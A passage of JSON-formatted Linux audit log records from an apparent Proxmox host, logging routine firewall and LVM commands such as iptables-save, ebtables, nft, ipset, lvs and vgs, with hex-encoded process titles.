a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966115177,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966115.177:68498): proctitle=\"ip6tables-save\""} {"@timestamp":1781964725939,"@rawstring":"node=pve type=EXECVE msg=audit(1781964725.939:62339): argc=1 a0=\"date\""} {"@timestamp":1781966115170,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966115.170:68497): proctitle=\"iptables-save\""} {"@timestamp":1781964725935,"@rawstring":"node=pve type=EXECVE msg=audit(1781964725.935:62337): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966115166,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966115.166:68496): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964725928,"@rawstring":"node=pve type=EXECVE msg=audit(1781964725.928:62336): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966115164,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966115.164:68495): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964725922,"@rawstring":"node=pve type=EXECVE msg=audit(1781964725.922:62335): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966115162,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966115.162:68494): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964725916,"@rawstring":"node=pve type=EXECVE msg=audit(1781964725.916:62334): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966115162,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966115.162:68493): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964725910,"@rawstring":"node=pve type=EXECVE msg=audit(1781964725.910:62333): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966115158,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966115.158:68492): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964725904,"@rawstring":"node=pve type=EXECVE msg=audit(1781964725.904:62331): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966115151,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966115.151:68491): proctitle=\"ip6tables-save\""} {"@timestamp":1781964725899,"@rawstring":"node=pve type=EXECVE msg=audit(1781964725.899:62330): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966115144,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966115.144:68490): proctitle=\"iptables-save\""} {"@timestamp":1781964725895,"@rawstring":"node=pve type=EXECVE msg=audit(1781964725.895:62329): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966115138,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966115.138:68489): proctitle=69707365740073617665"} {"@timestamp":1781964725890,"@rawstring":"node=pve type=EXECVE msg=audit(1781964725.890:62328): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966115130,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966115.130:68488): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964725884,"@rawstring":"node=pve type=EXECVE msg=audit(1781964725.884:62327): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966115121,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966115.121:68487): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964725880,"@rawstring":"node=pve type=EXECVE msg=audit(1781964725.880:62326): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966114979,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966114.979:68486): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964725874,"@rawstring":"node=pve type=EXECVE msg=audit(1781964725.874:62325): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966114948,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966114.948:68485): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964725868,"@rawstring":"node=pve type=EXECVE msg=audit(1781964725.868:62324): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966110433,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966110.433:68484): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964725864,"@rawstring":"node=pve type=EXECVE msg=audit(1781964725.864:62323): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966110433,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966110.433:68483): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964725860,"@rawstring":"node=pve type=EXECVE msg=audit(1781964725.860:62322): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966110433,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966110.433:68482): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964725860,"@rawstring":"node=pve type=EXECVE msg=audit(1781964725.860:62321): argc=1 a0=\"date\""} {"@timestamp":1781966110422,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966110.422:68481): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964725857,"@rawstring":"node=pve type=EXECVE msg=audit(1781964725.857:62319): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966110422,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966110.422:68480): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964725850,"@rawstring":"node=pve type=EXECVE msg=audit(1781964725.850:62318): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966110422,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966110.422:68479): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964725844,"@rawstring":"node=pve type=EXECVE msg=audit(1781964725.844:62317): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966106110,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966106.110:68478): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964725840,"@rawstring":"node=pve type=EXECVE msg=audit(1781964725.840:62316): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966106107,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966106.107:68477): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964725834,"@rawstring":"node=pve type=EXECVE msg=audit(1781964725.834:62315): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966106106,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966106.106:68476): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964725828,"@rawstring":"node=pve type=EXECVE msg=audit(1781964725.828:62314): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966106106,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966106.106:68475): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964725429,"@rawstring":"node=pve type=EXECVE msg=audit(1781964725.429:62313): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966106102,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966106.102:68474): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964725417,"@rawstring":"node=pve type=EXECVE msg=audit(1781964725.417:62310): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966106095,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966106.095:68473): proctitle=\"ip6tables-save\""} {"@timestamp":1781964724196,"@rawstring":"node=pve type=EXECVE msg=audit(1781964724.196:62307): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966106088,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966106.088:68472): proctitle=\"iptables-save\""} {"@timestamp":1781964724172,"@rawstring":"node=pve type=EXECVE msg=audit(1781964724.172:62306): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966106081,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966106.081:68471): proctitle=\"ip6tables-save\""} {"@timestamp":1781964720403,"@rawstring":"node=pve type=EXECVE msg=audit(1781964720.403:62305): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966106073,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966106.073:68470): proctitle=\"iptables-save\""} {"@timestamp":1781964720397,"@rawstring":"node=pve type=EXECVE msg=audit(1781964720.397:62302): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966106070,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966106.070:68469): proctitle=\"ebtables-restore\""} {"@timestamp":1781964715816,"@rawstring":"node=pve type=EXECVE msg=audit(1781964715.816:62299): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966106068,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966106.068:68468): proctitle=\"ebtables-restore\""} {"@timestamp":1781964715813,"@rawstring":"node=pve type=EXECVE msg=audit(1781964715.813:62298): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966106062,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966106.062:68467): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964715812,"@rawstring":"node=pve type=EXECVE msg=audit(1781964715.812:62297): argc=1 a0=\"date\""} {"@timestamp":1781966106056,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966106.056:68466): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964715808,"@rawstring":"node=pve type=EXECVE msg=audit(1781964715.808:62295): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966106051,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966106.051:68465): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964715802,"@rawstring":"node=pve type=EXECVE msg=audit(1781964715.802:62294): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966106044,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966106.044:68464): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964715796,"@rawstring":"node=pve type=EXECVE msg=audit(1781964715.796:62293): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966106039,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966106.039:68463): proctitle=697073657400726573746F7265"} {"@timestamp":1781964715789,"@rawstring":"node=pve type=EXECVE msg=audit(1781964715.789:62292): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966106032,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966106.032:68462): proctitle=\"ip6tables-save\""} {"@timestamp":1781964715782,"@rawstring":"node=pve type=EXECVE msg=audit(1781964715.782:62291): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966106024,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966106.024:68461): proctitle=\"iptables-save\""} {"@timestamp":1781964715777,"@rawstring":"node=pve type=EXECVE msg=audit(1781964715.777:62289): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966106020,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966106.020:68460): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964715773,"@rawstring":"node=pve type=EXECVE msg=audit(1781964715.773:62288): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966106017,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966106.017:68459): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964715768,"@rawstring":"node=pve type=EXECVE msg=audit(1781964715.768:62287): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966106016,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966106.016:68458): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964715763,"@rawstring":"node=pve type=EXECVE msg=audit(1781964715.763:62286): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966106015,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966106.015:68457): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964715758,"@rawstring":"node=pve type=EXECVE msg=audit(1781964715.758:62285): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966106011,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966106.011:68456): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964715753,"@rawstring":"node=pve type=EXECVE msg=audit(1781964715.753:62284): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966106002,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966106.002:68455): proctitle=\"ip6tables-save\""} {"@timestamp":1781964715747,"@rawstring":"node=pve type=EXECVE msg=audit(1781964715.747:62283): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966105993,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966105.993:68454): proctitle=\"iptables-save\""} {"@timestamp":1781964715741,"@rawstring":"node=pve type=EXECVE msg=audit(1781964715.741:62282): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966105987,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966105.987:68453): proctitle=69707365740073617665"} {"@timestamp":1781964715738,"@rawstring":"node=pve type=EXECVE msg=audit(1781964715.738:62281): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966105979,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966105.979:68452): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964715735,"@rawstring":"node=pve type=EXECVE msg=audit(1781964715.735:62280): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966105969,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966105.969:68451): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964715735,"@rawstring":"node=pve type=EXECVE msg=audit(1781964715.735:62279): argc=1 a0=\"date\""} {"@timestamp":1781966105409,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966105.409:68450): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964715730,"@rawstring":"node=pve type=EXECVE msg=audit(1781964715.730:62277): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966105409,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966105.409:68449): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964715724,"@rawstring":"node=pve type=EXECVE msg=audit(1781964715.724:62276): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966105409,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966105.409:68448): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964715718,"@rawstring":"node=pve type=EXECVE msg=audit(1781964715.718:62275): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966105402,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966105.402:68447): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964715714,"@rawstring":"node=pve type=EXECVE msg=audit(1781964715.714:62274): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966105402,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966105.402:68446): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964715707,"@rawstring":"node=pve type=EXECVE msg=audit(1781964715.707:62273): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966105402,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966105.402:68445): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964715701,"@rawstring":"node=pve type=EXECVE msg=audit(1781964715.701:62272): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966104836,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966104.836:68444): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964715388,"@rawstring":"node=pve type=EXECVE msg=audit(1781964715.388:62271): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966104810,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966104.810:68443): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964715381,"@rawstring":"node=pve type=EXECVE msg=audit(1781964715.381:62268): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966100392,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966100.392:68442): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964714082,"@rawstring":"node=pve type=EXECVE msg=audit(1781964714.082:62265): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966100392,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966100.392:68441): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964714052,"@rawstring":"node=pve type=EXECVE msg=audit(1781964714.052:62264): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966100391,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966100.391:68440): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964710373,"@rawstring":"node=pve type=EXECVE msg=audit(1781964710.373:62263): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966100383,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966100.383:68439): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964710359,"@rawstring":"node=pve type=EXECVE msg=audit(1781964710.359:62260): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966100383,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966100.383:68438): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965909729,"@rawstring":"node=pve type=PATH msg=audit(1781965909.729:67628): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966100383,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966100.383:68437): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965909729,"@rawstring":"node=pve type=PATH msg=audit(1781965909.729:67628): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966095956,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966095.956:68436): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965909729,"@rawstring":"node=pve type=PATH msg=audit(1781965909.729:67627): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966095953,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966095.953:68435): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965909729,"@rawstring":"node=pve type=PATH msg=audit(1781965909.729:67626): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966095952,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966095.952:68434): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965909719,"@rawstring":"node=pve type=PATH msg=audit(1781965909.719:67625): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966095952,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966095.952:68433): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965909719,"@rawstring":"node=pve type=PATH msg=audit(1781965909.719:67625): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966095948,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966095.948:68432): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965909719,"@rawstring":"node=pve type=PATH msg=audit(1781965909.719:67624): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966095941,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966095.941:68431): proctitle=\"ip6tables-save\""} {"@timestamp":1781965909719,"@rawstring":"node=pve type=PATH msg=audit(1781965909.719:67623): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966095933,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966095.933:68430): proctitle=\"iptables-save\""} {"@timestamp":1781965905768,"@rawstring":"node=pve type=PATH msg=audit(1781965905.768:67622): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966095925,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966095.925:68429): proctitle=\"ip6tables-save\""} {"@timestamp":1781965905768,"@rawstring":"node=pve type=PATH msg=audit(1781965905.768:67622): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966095916,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966095.916:68428): proctitle=\"iptables-save\""} {"@timestamp":1781965905766,"@rawstring":"node=pve type=PATH msg=audit(1781965905.766:67621): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966095912,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966095.912:68427): proctitle=\"ebtables-restore\""} {"@timestamp":1781965905766,"@rawstring":"node=pve type=PATH msg=audit(1781965905.766:67621): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966095909,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966095.909:68426): proctitle=\"ebtables-restore\""} {"@timestamp":1781965905766,"@rawstring":"node=pve type=PATH msg=audit(1781965905.766:67620): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966095903,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966095.903:68425): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965905766,"@rawstring":"node=pve type=PATH msg=audit(1781965905.766:67620): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966095897,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966095.897:68424): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965905766,"@rawstring":"node=pve type=PATH msg=audit(1781965905.766:67619): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966095891,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966095.891:68423): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} 